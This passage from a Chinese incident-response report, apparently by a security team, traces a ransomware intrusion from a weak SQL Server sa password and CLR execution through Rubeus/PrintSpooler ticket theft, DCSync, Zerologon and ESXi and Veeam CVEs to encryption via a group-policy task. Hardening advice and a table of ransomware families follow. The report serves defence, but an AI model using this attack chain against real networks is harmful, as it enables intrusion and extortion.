src="https://wechat2rss.xlab.app/img-proxy/?k=674589f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakAmucaCLqeGwr5CSzNoc8uQJ2HwhKyc5NdWV2aJtynI55KL1nYEibic1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">42的服务器是一台web服务器，分析其日志发现login.aspx有较大的可能性存在漏洞。后经过代码审计，存在命令执行漏洞，但是该系统需要鉴权，账号密码获取方法还需要继续分析。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010288" data-ratio="0.10462962962962963" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c8398358&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakB6Jcwy5o46owRKTUSVFMLFflVjESkXiaVJOepXOiae7nL2UVtzcO6Z7g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;">结合实际日志，也能看到IIS用户调用powershell进程</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010287" data-ratio="0.5657407407407408" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ec89304f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiak45YRsIz5zVpl0qM4IUDIlUD2eyibdcCeCTdf9Op2V8U3xyeLSLdwRiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;">攻击上一级指向了10.0.10.40</section><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">4.4 域：set.local</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">10.0.10.40是该域中的数据库，在日志中发现10.0.100.15在11月18日11:35:30首次登陆了该服务器并且开启了clr，经确认sa密码为弱口令。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010289" data-ratio="0.9851851851851852" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=218ba746&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakGkr5WsqiarJDlycMNQX03PmAqASTr1RrvQ0zGYZ3zVkkic5GVgZFWKDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010286" data-ratio="0.37777777777777777" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e8255da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakaC3UzapaufBFax8v2ETRSiag6Og5jYkBe8rJDVoPocHzxbyrhcgZ1Tw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">最终通过clr命令执行 获取权限后通过土豆提权</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010285" data-ratio="0.3281653746770026" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="774" src="https://wechat2rss.xlab.app/img-proxy/?k=705eacb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakKxw4uORF7icr2ibYdk6c037kPvlbDbXvHiaiaz4dVljwibqdm0Vt2IgA7PQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">10.0.10.41为sql数据库2，客户配置的环境中可以用Windows身份验证登录两台数据库，最终攻击者获取了web的账号密码。</section><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">4.5 汇总</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">本次安全事件的溯源分析揭示了攻击者通过多个环节逐步渗透并加密了客户环境中的关键系统。攻击者首先通过弱口令入侵了数据库服务器（10.0.10.40）。在日志中发现，攻击者在11月18日首次使用弱口令登录该服务器，并成功启用CLR，随后通过提权工具获得了更高权限。攻击者利用这一权限继续扩展攻击。</section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">接下来，攻击者通过SQL数据库的Windows身份验证机制，在客户环境中的第二台数据库服务器（10.0.10.41）上获得了Web应用的账号密码用于攻击WEB01。</section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">攻击者成功攻击下WEB01后，该主机成为攻击域控dc02的跳板，攻击者利用Rubeus工具结合PrintSpooler漏洞泄露了TGT票证，并通过DCSync攻击获取了域管理员的哈希值，进一步获取了子域控的完全控制权限。</section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">随着子域控权限的获取，攻击者开始横向渗透至主域，通过Zerologon成功获取set.com的权限，后通过漏洞CVE-2024-37085获取ESXI权限。利用ESXI搭设代理并使用CVE-2023-27532攻击Veeam，成功入侵并加密了所有备份文件。</section><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-align: justify;text-indent: 2em;">最终，攻击者通过在域控DC03组策略中设置定时任务，执行加密器脚本，通过SMB协议影响了挂载到某主机上的NAS，并成功加密了大量数据。<span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-align: left;text-indent: 0em;word-spacing: 0em;"></span></section><h1 data-tool="mdnice编辑器" style="border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">5. 安全加固建议和修复方法</span><span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-align: left;text-indent: 0em;word-spacing: 0em;"></span></h1><section style="margin-bottom: 0px;cursor: pointer;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: normal;text-align: left;padding-top: 8px;padding-bottom: 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;background-color: rgb(255, 255, 255);text-indent: 2em;">1、杜绝弱口令，包括数据库、WEB、系统等各类服务，对口令强度需要有要求并定期修改。</section><section style="margin-bottom: 0px;cursor: pointer;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: normal;text-align: left;padding-top: 8px;padding-bottom: 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;background-color: rgb(255, 255, 255);text-indent: 2em;">2、禁止无约束委派，使用目标约束委派并审计委派配置。</section><section style="margin-bottom: 0px;cursor: pointer;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: normal;text-align: left;padding-top: 8px;padding-bottom: 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;background-color: rgb(255, 255, 255);text-indent: 2em;">3、遵循最小权限原则，定期审查和更新权限配置，确保仅授予必要权限。</section><section style="margin-bottom: 0px;cursor: pointer;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: normal;text-align: left;padding-top: 8px;padding-bottom: 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;background-color: rgb(255, 255, 255);text-indent: 2em;">4、定期更新系统和应用版本，及时安装安全补丁，避免使用过时的软件。</section><section style="margin-bottom: 0px;cursor: pointer;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: normal;text-align: left;padding-top: 8px;padding-bottom: 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;background-color: rgb(255, 255, 255);text-indent: 2em;">5、Veeam Backup漏洞官方修复补丁：<a href="https://www.veeam.com/products/downloads.html" target="_blank">https://www.veeam.com/products/downloads.html</a></section><p data-tool="mdnice编辑器" style="margin-bottom: 0px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: 0em;text-align: left;line-height: 1.8em;text-indent: 2em;">以下是solar安全团队近期处理过的常见勒索病毒后缀：</p><section data-tool="mdnice编辑器" style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: normal;text-align: left;overflow-x: auto;"><table><thead><tr><th style="border-top-width: 1px;border-color: rgba(204, 204, 204, 0.4);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;width: auto;height: auto;border-radius: 0px;min-width: 85px;">出现时间</th><th style="border-top-width: 1px;border-color: rgba(204, 204, 204, 0.4);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;width: auto;height: auto;border-radius: 0px;min-width: 85px;">病毒名称</th><th style="border-top-width: 1px;border-color: rgba(204, 204, 204, 0.4);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;width: auto;height: auto;border-radius: 0px;min-width: 85px;">相关文章</th></tr></thead><tbody style="font-size: 14px;line-height: 1.5em;letter-spacing: 0em;border-width: 0px;border-style: initial;border-color: initial;"><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/05</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.moneyistime</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247493109&amp;idx=1&amp;sn=f70df4695b9e680f0b25b414cb1df28f&amp;chksm=c20bd5f1f57c5ce732f842c42e526022a5541fb1314e0f6be25ac612825bdc472fafaa9cecf4&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】使用中文勒索信及沟通：MoneyIsTime 勒索家族的本地化语言转变及其样本分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/09/29</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.lol</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;word-break: break-all;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247492281&amp;idx=1&amp;sn=5ba48ab1bc2a61dc8cf049be3a3fe0d5&amp;chksm=c20bd2bdf57c5babc7c06b81951d17a3e6c7ca001377f3129b4777c8fbd171a6a1ba946605e1&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】全网首发！全面剖析.LOL勒索病毒，无需缴纳赎金，破解方案敬请期待下篇！</a><br/><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247492349&amp;idx=1&amp;sn=98dd76a23608a6e7d2333e9ca7ecc572&amp;chksm=c20bd2f9f57c5befa6fec74e21562cc2a52dd95fd006b945d0526294c0e3544a199845f144a5&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【工具分享】.LOL勒索病毒再也不怕！完整破解教程分享+免费恢复工具首发</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/06/21</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.MBRlock</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247488946&amp;idx=1&amp;sn=bbdc2c5e32d074e372d2a73d415e78af&amp;chksm=c20825b6f57faca055f865b75892a0c095a96354f4a745433339b884dd9285651e37442731a1&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】假冒游戏陷阱：揭秘MBRlock勒索病毒及其修复方法</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/06/01</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.steloj</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247488435&amp;idx=1&amp;sn=390e308b0532c2e709fb98ac9c8bae97&amp;chksm=c20823b7f57faaa141c350ac73439215bc21345e5bf7afaaea049850aae026c86706d20a2157&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】Steloj勒索病毒分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/05/27</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.TargetOwner</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247487811&amp;idx=1&amp;sn=ae873838f1126e1cc5c3ad12a2840364&amp;chksm=c2082147f57fa851bc35f02454b76630bcf01a685762a332622a3dd74e0281329c2e0edccda6&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】技术全面升级，勒索赎金翻倍，新版本TargetOwner勒索家族强势来袭？</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/05/17</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.Lockbit 3.0</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247487172&amp;idx=2&amp;sn=b7709a3116a0be848895db50970f6879&amp;chksm=c2083ec0f57fb7d61f794cc9cdcd5572af1f8c88bf95ee54ae59b1f7e16c04fcd593a864c3f4&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】Lockbit家族Lockbit 3.0加密器分析</a><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247487172&amp;idx=1&amp;sn=da11170fb9edf9f285c99b8d8f3c39c6&amp;chksm=c2083ec0f57fb7d6c2e092807d594d25bd77b26a00d2916878b5df62e1a9c2c34997f1f701ee&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【成功案例】RDP暴露引发的蝴蝶效应：LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/05/13</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.wormhole</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247487253&amp;idx=1&amp;sn=e8da25281ec899b0544376185b76f343&amp;chksm=c2083f11f57fb60720549ac98117637434149be928a8f5b4c3e288f1f19fd419c8003f3cd059&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】Wormhole勒索病毒分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/04/09</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.bianlian</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485562&amp;idx=1&amp;sn=a300a5542a8eb34a5c1f7327cb1eb4f2&amp;chksm=c208387ef57fb16809da1c9dae611a09c4f092c31499fc589cfcb7e8a176f959d3d116be6aec&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】新兴TOP2勒索软件！存在中国受害者的BianLian勒索软件解密原理剖析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/03/20</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.locked</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485418&amp;idx=1&amp;sn=528ff6357d48960b4396f37cdb2aba76&amp;chksm=c20837eef57fbef83d04937337c35aaa501ebf4154e96dc1318ed70017e0316be4f2405fdf16&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】locked勒索病毒分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/03/11</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.Live1.5</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247484900&amp;idx=1&amp;sn=a716c73661330e01b6e077dd592327ca&amp;chksm=c20835e0f57fbcf6aeef085a36568361c667f5f4edbf700cc70654d2d055bf824e450507b4a7&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】独家揭秘LIVE勒索病毒家族之1.5（全版本可解密）</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/03/08</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.Live2.0</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247484879&amp;idx=1&amp;sn=bcfc0d45a55fc3cd0358fa87e139773d&amp;chksm=c20835cbf57fbcdd95157f3e2521c8a7cde3a521458bfde3ceebcfcf7e0e7a809b5a769e48bb&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】独家揭秘LIVE勒索病毒家族之2.0（全版本可解密）</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/03/06</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.Elbie</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247484604&amp;idx=1&amp;sn=f0e5a3890a98ebd99cdd79a52d395013&amp;chksm=c20834b8f57fbdae6ec3fee2e3dfcb1824c4847239932838322f5823f4c1a499d529a1e794e0&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】phobos家族Elbie变种加密器分析报告</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/03/01</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 